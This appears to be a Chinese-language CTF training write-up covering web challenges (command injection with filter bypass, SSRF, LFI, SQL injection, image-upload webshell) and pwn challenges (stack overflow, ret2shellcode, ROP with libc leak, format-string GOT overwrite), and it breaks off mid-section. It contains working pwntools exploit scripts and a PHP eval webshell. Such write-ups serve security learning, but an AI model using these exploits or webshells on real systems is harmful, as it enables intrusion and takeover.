1-白送 flag / helloworld
解法一:python 脚本
import requests
# 设置 cookies
cookies = {
'icecream': 'good',
'friedchicken': 'nice'
}
# 设置 headers
headers = {
'To': 'Doraemon'
}
# 填写 query string
params = {
'spell': 'viwo50'
}
# POST 请求
data = b"\xaa\xbb\xcc\xdd"
# 发送请求
response = requests.post('http://train2024.hitctf.cn:26455/', cookies=cookies, headers=headers, params=params, data=data)
print(response.text)
Lilac{machine_c@t_114514I9198lO}
解法二:Burp suite
拦截请求
GET / HTTP/1.1
Host: train2024.hitctf.cn:26251
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
发送到 repeater
按照题目要求写入内容:
POST /?spell=viwo50 HTTP/1.1
Host: train2024.hitctf.cn:26251
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cookies:
Cookie: icecream=good; friedchicken=nice
To: Doraemon
Content-Length: 4
ª»ÌÝ
最后一行就是 16 进制 aabbccdd 被强行转成文字的结果。
此处可以添加 cookies,其他几个也是类似的操作。
修改 GET 或者 POST.
此处可以直接进行 16 进制编辑。
2-Concert 音乐会
<html>
<head>
<meta charset="utf8"/>
<script src="https://cdn.jsdelivr.net/npm/jquery@3.3.1/dist/jquery.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/fomantic-ui@2.8.8/dist/semantic.min.css"/>
<script src="https://cdn.jsdelivr.net/npm/fomantic-ui@2.8.8/dist/semantic.min.js"></script>
<title>Concert</title>
</head>
<body>
<div class="ui text container">
<div style="padding-top: 1em;"></div>
<h2>Lilac 赛博音乐会</h2>
<p><span class="ui primary text">赛博猫</span>正在<span class="ui green text">赛博空间</span>举办<span class="ui red text">赛博音乐会</span>。</p>
<p>请您共襄盛举!</p>
<div class="ui special cards">
<div class="card">
<div class="blurring dimmable image">
<div class="ui dimmer">
<div class="content">
<div class="center">
<audio controls="controls">
<source src="static/music/op48no1.mp3" type="audio/mp3" />
</audio>
</div>
</div>
</div>
<img src="/get_resource.php?path=static/img/1.jpg">
</div>
<div class="content">
<a class="header">Nocturne</a>
<div class="meta">
<span class="date">Op. 48 No. 1</span>
</div>
</div>
<div class="extra content">
Fou Ts'ong
</div>
</div>
<div class="card">
<div class="blurring dimmable image">
<div class="ui dimmer">
<div class="content">
<div class="center">
<audio controls="controls">
<source src="static/music/op60.mp3" type="audio/mp3" />
</audio>
</div>
</div>
</div>
<img src="/get_resource.php?path=static/img/2.jpg">
</div>
<div class="content">
<a class="header">Barcarolle</a>
<div class="meta">
<span class="date">Op. 60</span>
</div>
</div>
<div class="extra content">
Krystian Zimerman
</div>
</div>
</div>
</div>
</body>
<script>
$('.special.cards .image').dimmer({
on: 'hover'
});
</script>
</html>
Ctrl U 看代码,发现可疑路径 /get_resource.php?path=,故借此使用任意文件读取漏洞。
根据题目提示,试 path=/flag.txt 时下载文件,里面有 flag.
3-calc 算术大师
脚本读取题目并自动填入正确答案即可。
查看源码:
<script>
var locked = 0 // locked 变量通常用于防止重复执行某些操作,比如防止用户在操作完成前重复发送请求。
// 提交答案的函数 send_data
function send_data(val) {
$.ajax({url: "/game", method: "POST", data: {data: val}, async: false}).done(function (data) {
$('#msg').text(data.msg) // $('#msg') 表示对具有 id 为 msg 的元素的引用。
if (data.bar == 0) {
$('#bar').progress('reset')
} else {
$('#bar').progress('increment')
}
locked = 0
}
)
} // $.ajax(请求内容,json格式).done(请求成功后执行函数).fail(请求失败后执行函数).always(请求完成后不管成功失败都会执行的函数)
$('#bar')
.progress({
label: 'ratio',
text: {
active: '{value} / {total}',
success: 'success!'
}
});
$('#gameinput').on('keypress', function (e) {
if (locked === 1) {
return
}
if (e.which === 13) { // 检查按下的键是否是 Enter 键。e.which 属性返回一个数字,代表按下的键的编码。13 是 Enter 键的编码。
locked = 1
val = $('#gameinput').val() //获取或设置输入框的值
$('#gameinput').val('') // 清空输入框中的文本
send_data(val)
}
});
</script>
我们可以直接调用 send_data 函数来提交数据
<span id="msg" class="ui purple text">1 + 7 (Problem 1/100)</span>
send_data(eval($('#msg').text().split('(')[0]))
循环 100 次:
for (let i = 0; i < 100; i += 1) {
send_data(eval($('#msg').text().split('(')[0]))
}
等待一会儿可以得到 flag:
Lilac{hTtp_basiC_welc0me-to_l1lac}
4-ex-pingping
命令行 rce ,带 waf
%0A 和文件写入权限没有被禁,利用这两个 trick 可以较轻松地获取 flag.
如果这两条路都被堵死,还是可以使用如下的方法。
查询 ping 的各项指令,发现 -p 指令能用指定的字节填充数据包
比如:
ping -c 4 localhost -p aabbccdd
将会打印:
PATTERN: 0xaabbccdd
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.078 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.083 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.060 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.073 ms
--- localhost ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3101ms
rtt min/avg/max/mdev = 0.060/0.073/0.083/0.008 ms
通过这种方式,我们理论上可以将 flag 以 16 进制的格式暴露出来。
问问 gpt ,命令行有哪些指令可以将文本内容转为 16 进制。
要将
/flag
文件以十六进制形式输出,你可以使用多种命令行工具,比如xxd
、hexdump
或od
。这些工具可以将文件的内容转换为十六进制格式并输出到终端。以下是一些具体的操作方法:使用
xxd
xxd
是一个常用的工具,可以方便地将文件内容转换为十六进制格式。xxd /flag
此命令将
/flag
文件的内容以十六进制和 ASCII 字符的形式输出。默认情况下,xxd
会输出每行 16 个字节。只显示十六进制(不显示 ASCII 字符)
如果你只想显示十六进制而不包括 ASCII 表示,可以使用
-p
选项:xxd -p /flag
这将输出纯十六进制字符,没有偏移量或 ASCII 表示。
使用
hexdump
hexdump
是另一个可以将文件内容转换为十六进制的工具。hexdump -C /flag
这会以典型的十六进制转储格式输出文件内容,包括偏移量、十六进制值和 ASCII 字符。
只显示十六进制
要仅输出十六进制而不显示 ASCII 字符,可以使用如下命令:
hexdump -v -e '/1 "%02x"' /flag
-v
选项强制显示所有数据,-e
选项用于指定输出格式,这里设置为每个字节输出两位十六进制。使用
od
od
(Octal Dump)也可以用于以十六进制格式查看文件内容。od -An -tx1 /flag
这个命令使用
-tx1
选项以字节为单位输出十六进制值,并用-An
禁止输出偏移量。示例输出
假设
/flag
文件内容是简单的文本:Hello, World!
使用以上任一工具命令可以得到类似如下的输出:
- 使用
xxd
:00000000: 4865 6c6c 6f2c 2057 6f72 6c64 210a Hello, World!.
- 使用
hexdump
:0000000 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a 000000e
- 使用
od
:48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a
这些工具可以帮助你将任意文件的内容以十六进制格式输出,便于分析和调试。可以根据需要选择合适的工具和选项来获取所需的信息。
为了把 flag 文件转化为不带空格不带偏移量的 16 进制,可以使用如下命令:
xxd -p /flag
hexdump -v -e '/1 "%02x"' /flag
所以我们可以得到这样的 payload:
ip = localhost -p $(hexdump -e '16/1 "%02X"' /flag)
然而
看来是 flag 被拦截了,简单绕过一下
ip = localhost -p $(hexdump -e '16/1 "%02X"' /fl\ag)
(通过测试 local\host 可以知道反斜杠并没有加入拦截字典)
结果是页面啥也没显示,估计是遇到报错了,然而这个页面不回显错误;并推测该 shell 中 hexdump 命令不可用。
同样地,xxd 命令也不可用。
ip = localhost -p $(xxd -p /flag)
最后考虑 od 命令,由于 | 等字符被拦截,我们很难找到方法让 od 把不带空格的 flag 的完整 16 进制显示出来。故曲线救国,让它 4 个字节 4 个字节地输出。
ip = localhost -p $(od -j 0 -N 4 -An -tx /fl\ag)
-j 即跳过 n 个字节进行输出。
页面成功回显:
放入二进制编辑器:
显然正确的顺序是 flag 而不是 galf,查阅资料得知 od 会自动识别成小端序从而逆序输出。也就是我们需要手动把它返回的每 4 个字节逆序拼接。
通过这种方式我们最终得到 flag:
5-ex-spider
dirsearch 的使用
其命令格式如下:
dirsearch -u <url> -e <extension name> -x <except response code>
dirsearch -u <http://train.hitctf.cn:24004/> -e *
dirsearch -i 200 -u ... // -i放到前面才有效,玄学
常用的几个参数如下:
-u
要扫描的url-e
指定扩展名-x
排除的响应码,比如你不希望看到502响应的网站,就可以-x 502
,多个用逗号分隔,支持区间(eg: 300,500-599)-i
仅包含的响应码,如-i 200
,格式同上。这个参数最好放到-u
的前面,否则可能会有些玄学问题
扫描该网站,得到如下结果:
进入 /robots.txt,提示
Disallow: /secret_flag_here.php
进入 /secret_flag_here.php,提示 “只有我自己能看到 flag”
尝试让该爬虫爬取页面:
http://localhost/secret_flag_here.php
由于 localhost 大小写不敏感,故:
http://lOcaLhosT/secret_flag_here.php
得到 flag:Lilac{ssrf_s0_eaSy}
其他可行解:
http://0.0.0.0/secret_flag_here.php
SSRF: Server-Side Request Forgery,即服务器端请求伪造
某些资源客户端没有权限访问,但服务器可以访问,于是攻击者可以通过欺骗服务器从而访问到这些资源。
6-robot
根据要求编写脚本即可。
from pwn import *
context.log_level = "debug"
p = remote("train2024.hitctf.cn", 26538)
p.recvline()
for i in range(100):
p.recvuntil(b": ")
question = p.recv().decode()
# question = question.replace("=", "")
question = question.strip("= ")
print(question)
# ans = int(question.split('*')[0]) * int(question.split('*')[1])
ans = eval(question)
print(question, ans)
# with open ("a.txt", "a") as f:
# f.write(question)
# f.close()
# print(question, ans)
p.sendline(str(ans).encode())
p.recvline()
p.interactive()
7-password
简单栈溢出。
from pwn import *
# p = process("./password")
p = remote("train2024.hitctf.cn", 26955)
payload = b"A" * (0x13 - 4) + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
8-rip
简单栈溢出,调试时发现栈对齐问题,简单修改地址即可。
9-图书馆
简单 sql 注入,发现空格被过滤,用 /**/ 绕过即可。
10-跑马场
进入 /ma.php 页面,显示:
<?php
// 真正的强者,敢于把自己的马送给别人
highlight_file(__FILE__);
@eval($_POST['lilac']);
用 hackbar POST 提交 lilac=system(“ls /”); 即可发现 flag 文件,再 lilac=system(“cat /flag”); 即可得到 flag.
11-unboxing
hackbar 破解 MD5 得到:kaihe,进入 6 号账户的登陆页面,根据这个页面的 cookie 可以用来登陆其他1-5 号账户的页面,从而拼接得到完整 flag.
12-ex-imagehost
先写一个最简单的一句话木马扔进去:ma.php
<?php
@eval($_POST['cmd']);
?>
系统提示:文件MIME类型不正确, 只允许上传 jpeg jpg png gif 类型的文件.
尝试用 Burp Suite 修改 ma.php 的 content type 为:image/jpeg,系统返回:这不是图片,别想骗我😡
推测该系统检查了文件头,故给 ma.php 加上一个 jpg 的文件头并且修改 content type 再发送。系统返回:php?扬了😋
推测该系统检查了 “php”,而实际上 php 文件开头不必写 <?php 直接写 <? 即可。再次发送,系统返回:上传成功,保存至tmp/a.php。
接下来直接用 AntSword 连接即可。
13-ret2shellcode
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char v5[40]; // [esp+4h] [ebp-34h] BYREF
void *buf; // [esp+2Ch] [ebp-Ch]
setvbuf(_bss_start, 0, 2, 0);
v3 = getpagesize();
buf = mmap((void *)0x7000000, v3, 6, 49, -1, 0);
printf("please input your secret:");
read(0, buf, 0xC8u);
printf("what's your name:");
read(0, v5, 0xC8u);
return 1;
}
setvbuf(_bss_start, 0, 2, 0);
:调用setvbuf
函数设置缓冲区模式。_bss_start
通常是一个全局变量或数据段的起始位置。参数0
表示使用无缓冲模式,2
表示行缓冲模式,0
表示缓冲区大小为0。这行代码设置了标准输出流的缓冲模式。
v3 = getpagesize();
:调用getpagesize
函数,获取系统内存页的大小,并将其存储在变量v3
中。内存页大小是操作系统管理内存的基本单位。这个对做题没什么帮助,不知道也没事。
buf = mmap((void \*)0x7000000, v3, 6, 49, -1, 0);
:调用mmap
函数在内存中映射一个新的页面。这里的参数意义如下:
(void *)0x7000000
:请求映射的内存地址是0x7000000
。v3
:请求的映射大小,即系统页的大小。6
:映射的保护标志,这里表示可执行和可写(PROT_EXEC | PROT_WRITE
)。49
:映射的标志,这里表示匿名映射,不与任何文件关联(MAP_PRIVATE | MAP_ANONYMOUS
)。-1
:文件描述符,因为是匿名映射,所以设为-1
。0
:偏移量。
这行代码的作用是将一块内存映射到进程的地址空间,以便后续使用。
重点理解一下这个 6 = 4 + 2
Linux 文件权限(可用 chmod 添加) | r | w | x |
---|---|---|---|
4 | 2 | 1 | |
sys/mman.h 标准库中规定的权限 | r | w | x |
1 | 2 | 4 |
此处 6 即表示可写+可执行,当然,只要可写就一定可读。
后面 read 函数给了 0xC8 的读取长度,显然可以实现溢出。再加上分配的 0x7000000 处可以写入东西,那么简而言之,我们的目标就是在可写内存中写入 system("/bin/sh")
并调用,以此获得控制权。
from pwn import *
io = process('./ret2shellcode')
context.arch = 'i386' # x86 32 bits
sc = asm(shellcraft.sh())
context.arch 用来告诉 pwntools 要生成 x86 架构的汇编代码,shellcraft.sh() 生成的就是 system(“/bin/sh”) 的汇编代码,asm 就是把汇编代码转为机器码(一堆 Bytes)。
io.sendlineafter(b"please input your secret:", sc)
payload = b'a' * (0x34 + 4) + p32(0x7000000)
io.sendlineafter(b"what's your name:", payload)
io.interactive()
然而并未成功获取 shell.
打开 gdb 调试:
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io)
将断点设置在第一次读入之后:
b *0x8048563
继续运行
c
查看内存中是否正确写入 system(“/bin/sh”) 的汇编代码:
x/30i 0x7000000
i 即 instruction
可以看到已经正确写入,说明错误并不在这里。
retaddr
gdb 中调试指令 retaddr 可以查看当前所有返回地址。
黄色地址是其所在栈的位置,红色地址是返回地址。
查看第二次 read 后栈的情况:
好像也没有问题。关键在于:
我们在这一行下断点,尝试运行:
可以发现在这一行代码执行前,我们 esp 确实指向了我们想要的位置 0x7000000,然而当这一句代码执行以后:
可以看到 esp 变成了 0x4141413d !而且出现了红色,估计是访问了不能访问的地址,程序死掉了。
如果没有这句 lea esp, [ecx – 4],这题其实已经做完了。而现在就是要想办法消除这句话带来的影响。
lea esp, [ecx - 4]
lea 即 load effective address,这句话的作用就是把 ecx – 4 的值直接赋给 esp ,而并不会访问所在地址的内容。所以我们的目标变成了让 ecx 的值变成 0x7000000 + 4,即 0x7000004.
继续检查汇编代码,发现 ecx 最后一次赋值是由这句话决定的:
mov ecx, [ebp + var_4]
看 gdb 更简单了,直接 mov ecx, dword ptr [ebp – 4]
(为什么两句话不相同?而且可以看到 var_4 确实在 ebp – 4 的位置)
所以上面的
payload = b'a' * (0x34 + 4) + p32(0x7000000)
应当改为:
payload = b'a' * (0x34 - 4) + p32(0x7000004)
需要填充的开始位置是 ebp – 0x34, 而 ecx 将被赋值为 [ebp – 0x4] 中的值,所以可以先填 0x30 个无效字节,再在后 4 字节中填上 0x7000004,这样 ecx 的值就将从 0x7000000 中取,而这个地址正是我们可以修改的地方。我们只需要修改上一个 payload,在 0x7000000 的地方填 ecx 的期望值,这样 esp 的值就会变成 ecx – 4 (lea 不取地址上的值),再把 esp 指向一个返回地址,而这个返回地址指向 sc 所在位置即可。
当函数执行完毕并需要返回时,会执行一个
RET
指令。RET
指令会从当前ESP
所指的栈顶位置弹出一个值,并将其作为新的EIP
值。
构造第一条 payload:
payload = p32(0x7000008) + p32(0x7000008) + sc
首先,ecx 的值从 0x7000000 中取,所以是 0x7000008,然后 esp 的值是 ecx – 4,即为 0x7000004,作为返回地址。我们让 0x7000004 指向 0x7000008,并从这个位置开始填写 shellcode,便能够使程序执行 system(‘/bin/sh’),从而夺取权限。
然而,shellcode 中有 push 操作会导致出现小于 0x7000000 的地址。故我们可以把代码整体平移到后面的内存,防止程序在 push 后访问到非法地址。整体代码如下:
from pwn import *
io = process('./ret2shellcode')
# io = remote('train2024.hitctf.cn', 26184)
context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'i386' # x86 32 bits
sc = asm(shellcraft.sh())
# gdb.attach(io, 'b *0x08048569')
payload = b'a' * 0x80 + p32(0x7000088) + p32(0x7000088) + sc
io.sendlineafter(b"please input your secret:", payload)
payload = b'A' * (0x34 - 4) + p32(0x7000084)
io.sendlineafter(b"what's your name:", payload)
io.interactive()
end.
14-nobackdoor
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+10h] [rbp-20h] BYREF
initial(argc, argv, envp);
puts("welcome to stack5");
printf("Here is a gift: %p\n", &puts);
puts("input your name plz");
read(0, buf, 0x100uLL);
return 0;
}
显然还是栈溢出,但是题目没有给后门函数,需要自己搞。
题目给了 libc.so.6 和 ld-linux-x86-64.so.2 文件,而 system() 函数必然在 libc 中。
并且题目给出了 puts 的地址,我们可以根据 puts 的地址计算出基地址,再根据偏移计算 system() 地址。
‘/bin/sh’ 也可以用相同手法找到。
现在需要找一个 pop rdi; ret
的 gadget,但我们发现 nobackdoor 文件中并没有这个片段。
但是 libc 中必然会出现这个片段,所以这个 gadget 也可用基地址+偏移地址计算得到。
from pwn import *
# Connect to the server
r = process('./attach/nobackdoor')
# r = remote('train2024.hitctf.cn', 26879)
context.arch = 'amd64'
# elfs
elf = ELF('./attach/nobackdoor')
libc = ELF('./attach/libc.so.6')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
gdb.attach(r, ' b *0x401221')
r.recvuntil('Here is a gift: ')
puts_addr = int(r.recvline().strip(), 16)
success('puts_addr: ' + hex(puts_addr))
libc_address = puts_addr - libc.sym['puts']
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000002a745 : pop rdi ; pop rbp ; ret
gadget_rdi_rbp = libc_address + 0x000000000002a745
gadget_rdi = libc_address + 0x000000000002a3e5
gadget_rsi = libc_address + 0x000000000002be51
sc_addr = libc_address + next(libc.search('/bin/sh'))
sys_addr = libc_address + libc.sym['system']
success('libc: ' + hex(libc_address))
payload = flat(
'a' * 0x28,
gadget_rdi,
sc_addr,
sys_addr
)
r.sendafter('input your name plz\n', payload)
r.interactive()
经过调试发现又遇到了栈对齐的问题:
由于结尾是 8,所以只需要使栈内元素多一个或少一个就能对齐。
所以我们考虑找一个多 pop 的 gadget:
0x000000000002a745 : pop rdi ; pop rbp ; ret
记得多填充一个垃圾给 rbp 即可。
gadget_rdi_rbp = libc_address + 0x000000000002a745
gadget_rdi = libc_address + 0x000000000002a3e5
gadget_rsi = libc_address + 0x000000000002be51
sc_addr = libc_address + next(libc.search('/bin/sh'))
sys_addr = libc_address + libc.sym['system']
success('libc: ' + hex(libc_address))
payload = flat(
'a' * 0x28,
gadget_rdi_rbp,
sc_addr,
0,
sys_addr
)
计算基地址后也可以直接赋值给 libc.address
,这样可以不用手动计算偏移地址,libc.sym['xxx']
会自动加上偏移地址。
思考:为什么不能另外多来一个 pop 语句,而是要选连着 pop 的一句 gadget ?比如:
payload = flat(
'a' * 0x28,
gadget_rdi,
sc_addr,
gadget_rsi,
0,
sys_addr
)
答:因为 pop 改了 8 位,最后的 ret 语句也改了 8 位,改了两次相当于白搞。
调试时为了与服务器端环境相同,可以用 patchelf
修改 libc 和解释器来源。
patchelf --replace-needed libc.so.6 ./libc.so.6 ./nobackdoor
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./nobackdoor
end.
15-norip
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[512]; // [rsp+10h] [rbp-200h] BYREF
initial(argc, argv, envp);
puts("welcome to norip");
printf("here is a gift: %p\n", buf);
puts("input your name plz");
read(0, buf, 0x200uLL);
print_name(buf);
return 0;
}
void initial()
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
}
int __fastcall print_name(const void *a1)
{
char dest[48]; // [rsp+10h] [rbp-30h] BYREF
memcpy(dest, a1, 0x32uLL);
return printf("Hello %s\n", dest);
}
main 中不存在栈溢出漏洞,而 print_name 函数中 memcpy 使用了 0x32 即 50 个 Bytes 相比 dest 多出两个 Bytes,存在栈溢出漏洞。
这与之前溢出到返回地址不同,我们只能溢出到 s 即 save_rbp 的位置。
汇编码中 leave 语句相当于:
mov rsp, rbp
pop rbp
进入函数前 rbp 是某个值,在出函数前,rbp 需要恢复到这个值,这就需要用到 save_rbp,它在 rbp 进入函数被修改前记录下这个值。
pop rbp 相当于:
mov rbp, [rsp]
add rsp, $8
也就是把栈顶的值(save_rbp)传给 rbp, 达到还原 rbp 的效果。
ret
指令会将程序执行流返回到RIP
(在 x86-64 架构中) 寄存器指向的地址。更准确地说,ret
指令从栈顶(由RSP
寄存器指向)弹出一个地址,然后将这个地址加载到RIP
寄存器中。接下来,CPU 将跳转到RIP
指定的地址处继续执行。
程序开始会给我们一个 gift,也就是 buf 的地址,我们将它读入:
r.recvuntil(b'here is a gift: ')
buf_addr = int(r.recvline(), 16)
success('buf_addr: ' + hex(buf_addr))
现在已知 buf 地址,溢出修改的两位足够我们将 rsp 指向 buf 的位置。尝试:
payload = b'a' * 48 + p64(buf_addr)[:2]
r.sendafter(b'input your name plz', payload)
调试发现,经过 print_name 函数后 rsp 的值恰好是 buf 地址 + 8,这也与我们的预测相符。而 rbp 已经变成了 0x6161616161616161,也与我们的预测相符。现在返回地址就被设置在了 buf 地址 + 8 的位置,我们希望在这个地方写上 system(‘/bin/sh’),这样即可劫持。
可以找到一个 shell() 函数,有 system() ,但是它并没有自带参数 ‘/bin/sh’,需要我们另外写入:
由于栈对齐的问题,我们选择略过 push 语句,而从 mov rbp, rsp 一句开始作为要跳转的地址(0x11f7).
shift F12 发现存在我们需要的字符串:
复制地址:0x402004
简单 ROP 修改 rdi 中的值,使其指向这个字符串:
ROPgadget --binary ./norip | grep "pop rdi"
找到:
0x00000000004011d9 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011d6 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011dc : mov ebp, esp ; pop rdi ; ret
0x00000000004011db : mov rbp, rsp ; pop rdi ; ret
0x00000000004011e0 : pop rdi ; pop rsi ; ret
0x00000000004011de : pop rdi ; ret
0x00000000004011da : push rbp ; mov rbp, rsp ; pop rdi ; ret
找到这个最简洁的:0x4011de: pop rdi; ret
完整 payload:
payload = b'b' * 8 + p64(0x4011de) + p64(0x402004) + p64(0x4011f7) + b'a' * 16 + p64(buf_addr)[:2]
再总结一下原理:
最后两位溢出使 save_rbp
的值被篡改,指向变量 buf
在栈中的位置,leave
语句(即 mov rsp, rbp; mov rbp, [rsp]; add rsp, $8
)先让 rsp
指向 buf
,然后 rbp
被赋值为 buf
的前 8 个字节,最后 rsp
自增 8, ret
语句从栈顶 rsp
弹出一个地址并命令 rip
指向它,随即 rsp
也将自增 8, 指向 ‘/bin/sh’ 字符串所在的地址。此时 rip
指向的内容为语句 pop rdi; ret
(0x4011de, 即 mov rdi, [rsp]; add rsp, $8; ret
) 恰好将 ‘/bin/sh’ 赋值给了 rdi 。现在 rsp 指向 shell 函数所在地址,ret 指令将使得 rip 指向这个地址并执行 shell 函数。而这时候正确的参数已经在 rdi 中了,所以 system(‘/bin/sh’) 执行成功。
from pwn import *
# r = process('./norip')
r = remote('train2024.hitctf.cn', 26832)
r.recvuntil(b'here is a gift: ')
buf_addr = int(r.recvline(), 16)
success('buf_addr: ' + hex(buf_addr))
# /bin/sh -> 0x402004
payload = b'b' * 8 + p64(0x4011de) + p64(0x402004) + p64(0x4011f7) + b'a' * 16 + p64(buf_addr)[:2]
r.sendafter(b'input your name plz', payload)
r.interactive()
end.
16-rop
题目都说了是 rop
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+10h] [rbp-10h] BYREF
initial(argc, argv, envp);
puts("welcome to ROP");
puts("input your name plz");
read(0, buf, 0x200uLL);
puts("bye!");
return 0;
}
int __fastcall shell(const char *a1)
{
return system(a1);
}
__int64 __fastcall write_str(char a1, char a2, char a3, char a4, char a5, unsigned int a6)
{
__int64 result; // rax
str = a1;
byte_404091 = a2;
byte_404092 = a3;
byte_404093 = a4;
byte_404094 = a5;
result = a6;
byte_404095 = a6;
return result;
}
转换成数组:
__int64 __fastcall write_str(char a1, char a2, char a3, char a4, char a5, unsigned int a6)
{
__int64 result; // rax
str[0] = a1;
str[1] = a2;
str[2] = a3;
str[3] = a4;
str[4] = a5;
result = a6;
str[5] = a6;
return result;
}
有后门函数,但找不到 ‘/bin/sh’ , 说明需要利用 write_str 函数写入我们想要的这个参数。
main 函数里面显然可以栈溢出,实现 rop 攻击。
from pwn import *
# Connect to the server
# r = process('./rop')
r = remote('train2024.hitctf.cn', 26661)
context.log_level = 'debug'
# x64
context.arch = 'amd64'
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(r)
# 0x40125b : pop rdi ; pop rsi ; ret
# 0x401259 : pop rdi ; ret
# 0x40125c : pop rsi ; ret
# 0x40125e : pop rdx ; ret
# 0x401261 : pop rcx ; ret
# 0x4011eb : shell
# 0x401196 : write_str
# RDI, RSI, RDX, RCX, R8, R9
gadget_rdi_addr = 0x401259
gadget_rsi_addr = 0x40125c
gadget_rdx_addr = 0x40125e
gadget_rcx_addr = 0x401261
gadget_rdi_rsi_addr = 0x40125b
shell_addr = 0x4011eb
write_str = 0x401196
str_addr = 0x404090
payload = flat(
b'a' * 0x18,
gadget_rdi_addr,
ord('s'),
gadget_rsi_addr,
ord('h'),
gadget_rdx_addr,
0,
write_str,
gadget_rdi_addr,
str_addr,
shell_addr
)
r.sendlineafter(b'input your name plz\n', payload)
r.interactive()
注意 flat 的用法,因为这个是 64 位程序,必须在开头指定 context.arch = 'amd64'
,否则会按照 p32() 进行扩展,这里我们希望它自动进行 p64() 扩展。
end.
17-LFI1
LFI 即 Local File Inclusion 本地文件包含漏洞。
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
<!-- flag.php -->
直接打开 flag.php 文件会提示:flag在这,但是你看不到,哈哈哈!!!
简单 base64 一下用 php://filter 协议暴露就行了:
?file=php://filter/read=convert.base64-encode/resource=flag.php
页面显示
PD9waHANCg0KZWNobyAiZmxhZ+WcqOi/me+8jOS9huaYr+S9oOeci+S4jeWIsO+8jOWTiOWTiOWTiO+8ge+8ge+8gSI7DQokZmxhZz0iZmxhZ3tlMDU2MjE0OS1iNTU2LTQ2MTAtYWM1OC01NjQzMjk5ZGY0YWR9IjsNCg==
扔进 CyberChef 解码:
<?php
echo "flag在这,但是你看不到,哈哈哈!!!";
$flag="flag{e0562149-b556-4610-ac58-5643299df4ad}";
30-easyFMT
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v4; // [esp+6Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("Do you know repeater?");
while ( 1 )
{
read(0, buf, 0x64u);
printf(buf);
putchar(10);
}
}
输入一堆 %p, 返回:
0xffc725b8
0x64
0x1
(nil)
0x1
0x70257025
0x70257025
说明偏移量为 6.
shift + F7
打开 Segments 界面,点 .got.plt ,可以看到一些常用 libc 函数:
构造 payload:
printf_got_addr = elf.got['printf'] # 就是 0x0804A014,可以使代码更清晰,也更省力
payload = p32(printf_got_addr) + b'%6$s'
r.sendafter(b'Do you know repeater?\n', payload)
printf_addr = u32(r.recvuntil(b'\xf7')[-4:])
log.success(hex(printf_addr))
程序将返回 printf 函数的实际地址。
同理可以得到其他几个函数的实际地址,由于 libc 函数后三位的偏移量是固定的,所以可以根据 “函数+后三位地址” 的组合查找远程程序使用的 libc 版本:
可以先把这 3 个 libc 版本都下载下来,最后挨个试即可(结果是 3.6 才可行)。
既然有了 libc,就可以根据偏移地址反推 libc 基地址:
libc_base = printf_addr - libc.symbols['printf']
再计算我们要用到的 system 地址:
system_addr = libc_base + libc.symbols['system']
然后我们的目标就是把程序 printf 的 got 表位置篡改成 system 的,再使其读入 ‘/bin/sh’ 实现劫持。
在编程中,GOT(Global Offset Table,全局偏移表)和PLT(Procedure Linkage Table,过程链接表)是与动态链接和共享库相关的概念,通常用于C/C++程序的编译和链接过程中。
GOT(Global Offset Table)
